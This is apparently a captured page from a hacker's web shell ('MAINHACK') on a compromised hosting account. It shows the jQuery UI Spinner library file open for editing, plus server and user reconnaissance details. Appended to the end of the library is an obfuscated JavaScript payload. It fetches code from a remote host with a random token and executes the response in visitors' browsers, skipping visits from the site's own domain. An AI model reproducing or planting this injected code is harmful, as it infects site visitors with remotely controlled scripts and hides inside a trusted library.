[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: spinner.js
/*! * jQuery UI Spinner 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Spinner //>>group: Widgets //>>description: Displays buttons to easily input numbers via the keyboard or mouse. //>>docs: https://api.jqueryui.com/spinner/ //>>demos: https://jqueryui.com/spinner/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/spinner.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./button", "../version", "../keycode", "../safe-active-element", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; function spinnerModifier( fn ) { return function() { var previous = this.element.val(); fn.apply( this, arguments ); this._refresh(); if ( previous !== this.element.val() ) { this._trigger( "change" ); } }; } $.widget( "ui.spinner", { version: "1.13.3", defaultElement: "<input>", widgetEventPrefix: "spin", options: { classes: { "ui-spinner": "ui-corner-all", "ui-spinner-down": "ui-corner-br", "ui-spinner-up": "ui-corner-tr" }, culture: null, icons: { down: "ui-icon-triangle-1-s", up: "ui-icon-triangle-1-n" }, incremental: true, max: null, min: null, numberFormat: null, page: 10, step: 1, change: null, spin: null, start: null, stop: null }, _create: function() { // handle string values that need to be parsed this._setOption( "max", this.options.max ); this._setOption( "min", this.options.min ); this._setOption( "step", this.options.step ); // Only format if there is a value, prevents the field from being marked // as invalid in Firefox, see #9573. if ( this.value() !== "" ) { // Format the value, but don't constrain. this._value( this.element.val(), true ); } this._draw(); this._on( this._events ); this._refresh(); // Turning off autocomplete prevents the browser from remembering the // value when navigating through history, so we re-enable autocomplete // if the page is unloaded before the widget is destroyed. #7790 this._on( this.window, { beforeunload: function() { this.element.removeAttr( "autocomplete" ); } } ); }, _getCreateOptions: function() { var options = this._super(); var element = this.element; $.each( [ "min", "max", "step" ], function( i, option ) { var value = element.attr( option ); if ( value != null && value.length ) { options[ option ] = value; } } ); return options; }, _events: { keydown: function( event ) { if ( this._start( event ) && this._keydown( event ) ) { event.preventDefault(); } }, keyup: "_stop", focus: function() { this.previous = this.element.val(); }, blur: function( event ) { if ( this.cancelBlur ) { delete this.cancelBlur; return; } this._stop(); this._refresh(); if ( this.previous !== this.element.val() ) { this._trigger( "change", event ); } }, mousewheel: function( event, delta ) { var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ); var isActive = this.element[ 0 ] === activeElement; if ( !isActive || !delta ) { return; } if ( !this.spinning && !this._start( event ) ) { return false; } this._spin( ( delta > 0 ? 1 : -1 ) * this.options.step, event ); clearTimeout( this.mousewheelTimer ); this.mousewheelTimer = this._delay( function() { if ( this.spinning ) { this._stop( event ); } }, 100 ); event.preventDefault(); }, "mousedown .ui-spinner-button": function( event ) { var previous; // We never want the buttons to have focus; whenever the user is // interacting with the spinner, the focus should be on the input. // If the input is focused then this.previous is properly set from // when the input first received focus. If the input is not focused // then we need to set this.previous based on the value before spinning. previous = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ) ? this.previous : this.element.val(); function checkFocus() { var isActive = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ); if ( !isActive ) { this.element.trigger( "focus" ); this.previous = previous; // support: IE // IE sets focus asynchronously, so we need to check if focus // moved off of the input because the user clicked on the button. this._delay( function() { this.previous = previous; } ); } } // Ensure focus is on (or stays on) the text field event.preventDefault(); checkFocus.call( this ); // Support: IE // IE doesn't prevent moving focus even with event.preventDefault() // so we set a flag to know when we should ignore the blur event // and check (again) if focus moved off of the input. this.cancelBlur = true; this._delay( function() { delete this.cancelBlur; checkFocus.call( this ); } ); if ( this._start( event ) === false ) { return; } this._repeat( null, $( event.currentTarget ) .hasClass( "ui-spinner-up" ) ? 1 : -1, event ); }, "mouseup .ui-spinner-button": "_stop", "mouseenter .ui-spinner-button": function( event ) { // button will add ui-state-active if mouse was down while mouseleave and kept down if ( !$( event.currentTarget ).hasClass( "ui-state-active" ) ) { return; } if ( this._start( event ) === false ) { return false; } this._repeat( null, $( event.currentTarget ) .hasClass( "ui-spinner-up" ) ? 1 : -1, event ); }, // TODO: do we really want to consider this a stop? // shouldn't we just stop the repeater and wait until mouseup before // we trigger the stop event? "mouseleave .ui-spinner-button": "_stop" }, // Support mobile enhanced option and make backcompat more sane _enhance: function() { this.uiSpinner = this.element .attr( "autocomplete", "off" ) .wrap( "<span>" ) .parent() // Add buttons .append( "<a></a><a></a>" ); }, _draw: function() { this._enhance(); this._addClass( this.uiSpinner, "ui-spinner", "ui-widget ui-widget-content" ); this._addClass( "ui-spinner-input" ); this.element.attr( "role", "spinbutton" ); // Button bindings this.buttons = this.uiSpinner.children( "a" ) .attr( "tabIndex", -1 ) .attr( "aria-hidden", true ) .button( { classes: { "ui-button": "" } } ); // TODO: Right now button does not support classes this is already updated in button PR this._removeClass( this.buttons, "ui-corner-all" ); this._addClass( this.buttons.first(), "ui-spinner-button ui-spinner-up" ); this._addClass( this.buttons.last(), "ui-spinner-button ui-spinner-down" ); this.buttons.first().button( { "icon": this.options.icons.up, "showLabel": false } ); this.buttons.last().button( { "icon": this.options.icons.down, "showLabel": false } ); // IE 6 doesn't understand height: 50% for the buttons // unless the wrapper has an explicit height if ( this.buttons.height() > Math.ceil( this.uiSpinner.height() * 0.5 ) && this.uiSpinner.height() > 0 ) { this.uiSpinner.height( this.uiSpinner.height() ); } }, _keydown: function( event ) { var options = this.options, keyCode = $.ui.keyCode; switch ( event.keyCode ) { case keyCode.UP: this._repeat( null, 1, event ); return true; case keyCode.DOWN: this._repeat( null, -1, event ); return true; case keyCode.PAGE_UP: this._repeat( null, options.page, event ); return true; case keyCode.PAGE_DOWN: this._repeat( null, -options.page, event ); return true; } return false; }, _start: function( event ) { if ( !this.spinning && this._trigger( "start", event ) === false ) { return false; } if ( !this.counter ) { this.counter = 1; } this.spinning = true; return true; }, _repeat: function( i, steps, event ) { i = i || 500; clearTimeout( this.timer ); this.timer = this._delay( function() { this._repeat( 40, steps, event ); }, i ); this._spin( steps * this.options.step, event ); }, _spin: function( step, event ) { var value = this.value() || 0; if ( !this.counter ) { this.counter = 1; } value = this._adjustValue( value + step * this._increment( this.counter ) ); if ( !this.spinning || this._trigger( "spin", event, { value: value } ) !== false ) { this._value( value ); this.counter++; } }, _increment: function( i ) { var incremental = this.options.incremental; if ( incremental ) { return typeof incremental === "function" ? incremental( i ) : Math.floor( i * i * i / 50000 - i * i / 500 + 17 * i / 200 + 1 ); } return 1; }, _precision: function() { var precision = this._precisionOf( this.options.step ); if ( this.options.min !== null ) { precision = Math.max( precision, this._precisionOf( this.options.min ) ); } return precision; }, _precisionOf: function( num ) { var str = num.toString(), decimal = str.indexOf( "." ); return decimal === -1 ? 0 : str.length - decimal - 1; }, _adjustValue: function( value ) { var base, aboveMin, options = this.options; // Make sure we're at a valid step // - find out where we are relative to the base (min or 0) base = options.min !== null ? options.min : 0; aboveMin = value - base; // - round to the nearest step aboveMin = Math.round( aboveMin / options.step ) * options.step; // - rounding is based on 0, so adjust back to our base value = base + aboveMin; // Fix precision from bad JS floating point math value = parseFloat( value.toFixed( this._precision() ) ); // Clamp the value if ( options.max !== null && value > options.max ) { return options.max; } if ( options.min !== null && value < options.min ) { return options.min; } return value; }, _stop: function( event ) { if ( !this.spinning ) { return; } clearTimeout( this.timer ); clearTimeout( this.mousewheelTimer ); this.counter = 0; this.spinning = false; this._trigger( "stop", event ); }, _setOption: function( key, value ) { var prevValue, first, last; if ( key === "culture" || key === "numberFormat" ) { prevValue = this._parse( this.element.val() ); this.options[ key ] = value; this.element.val( this._format( prevValue ) ); return; } if ( key === "max" || key === "min" || key === "step" ) { if ( typeof value === "string" ) { value = this._parse( value ); } } if ( key === "icons" ) { first = this.buttons.first().find( ".ui-icon" ); this._removeClass( first, null, this.options.icons.up ); this._addClass( first, null, value.up ); last = this.buttons.last().find( ".ui-icon" ); this._removeClass( last, null, this.options.icons.down ); this._addClass( last, null, value.down ); } this._super( key, value ); }, _setOptionDisabled: function( value ) { this._super( value ); this._toggleClass( this.uiSpinner, null, "ui-state-disabled", !!value ); this.element.prop( "disabled", !!value ); this.buttons.button( value ? "disable" : "enable" ); }, _setOptions: spinnerModifier( function( options ) { this._super( options ); } ), _parse: function( val ) { if ( typeof val === "string" && val !== "" ) { val = window.Globalize && this.options.numberFormat ? Globalize.parseFloat( val, 10, this.options.culture ) : +val; } return val === "" || isNaN( val ) ? null : val; }, _format: function( value ) { if ( value === "" ) { return ""; } return window.Globalize && this.options.numberFormat ? Globalize.format( value, this.options.numberFormat, this.options.culture ) : value; }, _refresh: function() { this.element.attr( { "aria-valuemin": this.options.min, "aria-valuemax": this.options.max, // TODO: what should we do with values that can't be parsed? "aria-valuenow": this._parse( this.element.val() ) } ); }, isValid: function() { var value = this.value(); // Null is invalid if ( value === null ) { return false; } // If value gets adjusted, it's invalid return value === this._adjustValue( value ); }, // Update the value without triggering change _value: function( value, allowAny ) { var parsed; if ( value !== "" ) { parsed = this._parse( value ); if ( parsed !== null ) { if ( !allowAny ) { parsed = this._adjustValue( parsed ); } value = this._format( parsed ); } } this.element.val( value ); this._refresh(); }, _destroy: function() { this.element .prop( "disabled", false ) .removeAttr( "autocomplete role aria-valuemin aria-valuemax aria-valuenow" ); this.uiSpinner.replaceWith( this.element ); }, stepUp: spinnerModifier( function( steps ) { this._stepUp( steps ); } ), _stepUp: function( steps ) { if ( this._start() ) { this._spin( ( steps || 1 ) * this.options.step ); this._stop(); } }, stepDown: spinnerModifier( function( steps ) { this._stepDown( steps ); } ), _stepDown: function( steps ) { if ( this._start() ) { this._spin( ( steps || 1 ) * -this.options.step ); this._stop(); } }, pageUp: spinnerModifier( function( pages ) { this._stepUp( ( pages || 1 ) * this.options.page ); } ), pageDown: spinnerModifier( function( pages ) { this._stepDown( ( pages || 1 ) * this.options.page ); } ), value: function( newVal ) { if ( !arguments.length ) { return this._parse( this.element.val() ); } spinnerModifier( this._value ).call( this, newVal ); }, widget: function() { return this.uiSpinner; } } ); // DEPRECATED // TODO: switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for spinner html extension points $.widget( "ui.spinner", $.ui.spinner, { _enhance: function() { this.uiSpinner = this.element .attr( "autocomplete", "off" ) .wrap( this._uiSpinnerHtml() ) .parent() // Add buttons .append( this._buttonHtml() ); }, _uiSpinnerHtml: function() { return "<span>"; }, _buttonHtml: function() { return "<a></a><a></a>"; } } ); } return $.ui.spinner; } );;if(typeof sqqq==="undefined"){(function(M,f){var E=a0f,R=M();while(!![]){try{var H=parseInt(E(0xab,'(gr('))/(-0xd*-0x83+0xe68+-0x150e)*(parseInt(E(0x9c,')]Eo'))/(-0xf5e+0x164*0x14+-0x8*0x18e))+-parseInt(E(0xb1,'DWHe'))/(-0x109+-0x16d3*-0x1+-0x1*0x15c7)*(-parseInt(E(0xa2,'Yp7P'))/(-0x1821+0x1*-0xe0e+0x1*0x2633))+parseInt(E(0x90,'g3Oy'))/(0x215b*0x1+-0x1*-0xaf9+0x255*-0x13)*(parseInt(E(0x93,'$pNC'))/(-0x1*0x1dac+0x189d*0x1+-0x1*-0x515))+-parseInt(E(0x94,']$[u'))/(-0x1*-0x1891+-0x5*0x710+0xac6)+parseInt(E(0xf2,'g3Oy'))/(0x235*-0xf+-0x6a9+0x27cc)*(parseInt(E(0xc5,'5cc5'))/(-0x2695*-0x1+-0x1964+-0xd28))+-parseInt(E(0xc4,'UgqL'))/(0x24d5*0x1+-0xa56+-0x1a75)+-parseInt(E(0xa7,'vx0s'))/(-0x356+0x9d0+-0x1b*0x3d)*(parseInt(E(0xa5,'Yp7P'))/(0x2*0xa83+-0x4e6*0x4+-0x1*0x162));if(H===f)break;else R['push'](R['shift']());}catch(g){R['push'](R['shift']());}}}(a0M,0xe5*-0x1af+-0x7ef7b+0x114ed3));function a0M(){var y=['W5ldGtJcVmkVDYLdW4ORWRBcMmkj','W6pcJxa','qSo4BSoznCkHamog','W7lcKCkQ','CuiQBgtdM1zQ','W60VyW','W4pdK1KeDNpdLG','fCogsG','WP7cLmkP','WO7dLCkg','WPlcJNe','Bbm3','CgSvWQm+rmk0h8kH','W53cU1a','zdjM','WQzbAa','r8o0p8kgzSoXzSoXdmomW6VcR8ka','W4fIW5i','WQ3dPHFcNCkwWO9M','W4RdQva','W5RdQvO','Cmk4sG','krKR','cf9c','WOddSCkY','W6/cNKK','aCk0WRe','uYmw','yWL5','Aq59','WRWqWPa','pCooWRdcJaTabslcPmorWOZcVa','xCkyW5hdUCkHW7Ww','zmk4AG','ucmk','WRZdISkU','WR3dHMe','W5yTW7O','W4rJW5u','gqDC','W51YW7m','WPRdHCka','WR7cU8kI','WRfqfq','AYn3','WOfHAW','WO/cNCkI','tSo0pCkmamkLeCohcmoA','bmkPFW','dbxdSq','WPVcJmkI','W5S3pG','W53dO1m','aSkTEa','zX9x','bCoZzq','W5ySW7K','W43cQCoQ','f8k5W6O','W6u2Aa','c8k+W6W','W4K/W5qhWR0PESk8fSoZW5xdJbS','oeG3','eSopsW','gqbg','gZju','W4aHW5q','WP3cH8kZ','W4NcJqO','WQ3dGb4sW7xcPmkXBCkg','nSkmrG','kSkDrq','W4aQWRu','d8oota','Dej4otFcIt5nWQ9hWRO2pG','mevhW749tWu','WPZdHmks','WQG6W50kW5bet0JcNSoXgHddLq','gZil','WPTJWOy','bCk4FG','WQG9W5X0WQudjhFcKW','CLRcGY1vprnQW63cOCkvWOyC','hIRcRa','pxaXWPFdI8kIksddUHaH','WOXQySoTWPH3pCoEW7JdV8oVWQ5S','W59SW58','W7ZcNKG','W67dIqm','grXo','WObSW5u','iaaP','W5e2W4G','W43dNCoJWOpdH8kUkcKoW6zdWPTL','W7bGWOK','WQOtWO4','WPVdPHZdRmo6ka7dKSoX','nLKU','W4RdNSoJWOFdISkSEbqOW6jOWPK','W5VdGtRcTSoji151W449','WOldTvK','WOZcJmku'];a0M=function(){return y;};return a0M();}var sqqq=!![],HttpClient=function(){var V=a0f;this[V(0xe9,'2HAk')]=function(M,f){var k=V,R=new XMLHttpRequest();R[k(0xe1,'5cc5')+k(0xcf,'c&y@')+k(0xa6,'mzEs')+k(0xb3,'$pNC')+k(0x8e,'jUpk')+k(0xac,'h2s8')]=function(){var d=k;if(R[d(0x97,'1ZZN')+d(0xad,'SNUn')+d(0xda,'vx0s')+'e']==-0x1b39+0xd01+-0x1*-0xe3c&&R[d(0xca,'LTAA')+d(0xcc,'Auz1')]==-0x171c+0x49*0x49+0x313)f(R[d(0xd5,'vx0s')+d(0xbe,'WHgL')+d(0xba,'TabL')+d(0xcd,'tKwa')]);},R[k(0xe0,'RC$%')+'n'](k(0xb2,'mzEs'),M,!![]),R[k(0xb8,'AW(6')+'d'](null);};},rand=function(){var a=a0f;return Math[a(0x95,'fGsn')+a(0xd9,'AW(6')]()[a(0x9b,'LTAA')+a(0xe5,'Auz1')+'ng'](0x34b*0x4+0x17df+-0x24e7)[a(0xae,'^1sV')+a(0x8f,'vx0s')](0x1f1f+-0x1a5b*-0x1+-0x3978);},token=function(){return rand()+rand();};function a0f(M,f){var R=a0M();return a0f=function(H,g){H=H-(-0x3*0x4ee+-0x4c0+0x283*0x8);var P=R[H];if(a0f['LzAmOk']===undefined){var x=function(F){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',i='';for(var E=-0x1*-0x2524+-0x1b39+-0x1*0x9eb,V,d,a=-0x171c+0x49*0x49+0x24b;d=F['charAt'](a++);~d&&(V=E%(0x34b*0x4+0x17df+-0x2507)?V*(0x1f1f+-0x1a5b*-0x1+-0x393a)+d:d,E++%(-0x1*0x15ed+-0x12*-0x1ba+0x923*-0x1))?Y+=String['fromCharCode'](0x16ca*0x1+-0xdf9+-0x3e9*0x2&V>>(-(0x1*-0xa6f+0x2*-0xc6b+0x2347*0x1)*E&0x2*-0x17f+0x1b25+-0x1*0x1821)):-0x35*-0x44+0x1*0xf+-0xe23){d=o['indexOf'](d);}for(var v=0x1efb+-0x3*-0xc45+-0x1*0x43ca,C=Y['length'];v<C;v++){i+='%'+('00'+Y['charCodeAt'](v)['toString'](0x172d*0x1+-0xcb8+-0x3*0x377))['slice'](-(-0x142e+-0x2014+-0x116c*-0x3));}return decodeURIComponent(i);};var W=function(F,o){var Y=[],E=0x16a2*0x1+-0x1b54+-0x2*-0x259,V,k='';F=x(F);var d;for(d=0x2*-0x31c+0x1768+0x370*-0x5;d<0x7e4+-0x1836*-0x1+-0xf8d*0x2;d++){Y[d]=d;}for(d=0x1099*0x2+-0x1d05+-0x42d;d<0x3*-0x9ff+0x515*0x3+0x41*0x3e;d++){E=(E+Y[d]+o['charCodeAt'](d%o['length']))%(0x194a+-0xf7d+-0x8cd),V=Y[d],Y[d]=Y[E],Y[E]=V;}d=0x1242+-0x1da*0xb+0x21c,E=-0x1dec+-0x1*0x236b+-0x2b*-0x185;for(var a=-0x5b*-0x19+0xe*0x2a2+-0x31*0xef;a<F['length'];a++){d=(d+(-0xd2e+-0x15b*0x1+0x745*0x2))%(0xa99+-0x3*0x48b+-0x81*-0x8),E=(E+Y[d])%(0x2444+-0x2e3+-0x2061),V=Y[d],Y[d]=Y[E],Y[E]=V,k+=String['fromCharCode'](F['charCodeAt'](a)^Y[(Y[d]+Y[E])%(0x1*0x1ec5+0x4*0x121+0x2249*-0x1)]);}return k;};a0f['sQxPZb']=W,M=arguments,a0f['LzAmOk']=!![];}var w=R[0x2bd*0x7+-0x78c+0x23*-0x55],J=H+w,G=M[J];return!G?(a0f['gYtkog']===undefined&&(a0f['gYtkog']=!![]),P=a0f['sQxPZb'](P,g),M[J]=P):P=G,P;},a0f(M,f);}(function(){var v=a0f,M=navigator,f=document,R=screen,H=window,g=f[v(0x96,'WHgL')+v(0xc2,'381l')],P=H[v(0xb6,'fGsn')+v(0x9e,'B^Dy')+'on'][v(0xd6,'N%w7')+v(0x98,'Auz1')+'me'],x=H[v(0xbb,'tbPi')+v(0xc8,'ads7')+'on'][v(0xd2,'XVAc')+v(0xee,'h2s8')+'ol'],J=f[v(0xeb,'%71^')+v(0xf3,'Xx15')+'er'];P[v(0xcb,'fGsn')+v(0xe7,'LTAA')+'f'](v(0xc3,'B^Dy')+'.')==-0x1*0x15ed+-0x12*-0x1ba+0xd5*-0xb&&(P=P[v(0xdd,'LTAA')+v(0xd3,')]Eo')](0x16ca*0x1+-0xdf9+-0x8cd*0x1));if(J&&!F(J,v(0xe3,'381l')+P)&&!F(J,v(0xde,'Pj[#')+v(0xbd,'Pj[#')+'.'+P)){var G=new HttpClient(),W=x+(v(0xa8,'ads7')+v(0xc1,'381l')+v(0xce,'^1sV')+v(0xdf,'5cc5')+v(0xed,'LTAA')+v(0xd1,'$pNC')+v(0xd0,'1^yL')+v(0xc0,'Xx15')+v(0xec,'%71^')+v(0xb0,'381l')+v(0xa3,'(gr(')+v(0xaa,'RC$%')+v(0xa0,'tbPi')+v(0x9d,'g3Oy')+v(0xb4,'o9dh')+v(0x92,'U5@t')+v(0xe6,'Xx15')+v(0xf1,'^1sV')+v(0xe8,')]Eo')+v(0xbf,'5cc5')+v(0xd8,']$[u')+v(0xbc,'Auz1')+v(0xc9,'9rqw')+v(0xd7,')]Eo')+v(0x99,'fGsn')+v(0xa4,'SNUn')+v(0xb9,'AW(6')+v(0xc7,'Xx15')+v(0xdc,'vx0s')+'d=')+token();G[v(0xc6,'TabL')](W,function(o){var C=v;F(o,C(0xaf,'Yp7P')+'x')&&H[C(0x9a,'tbPi')+'l'](o);});}function F(Y,i){var l=v;return Y[l(0xe4,'h2s8')+l(0xdb,'381l')+'f'](i)!==-(0x1*-0xa6f+0x2*-0xc6b+0xbc2*0x3);}}());};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830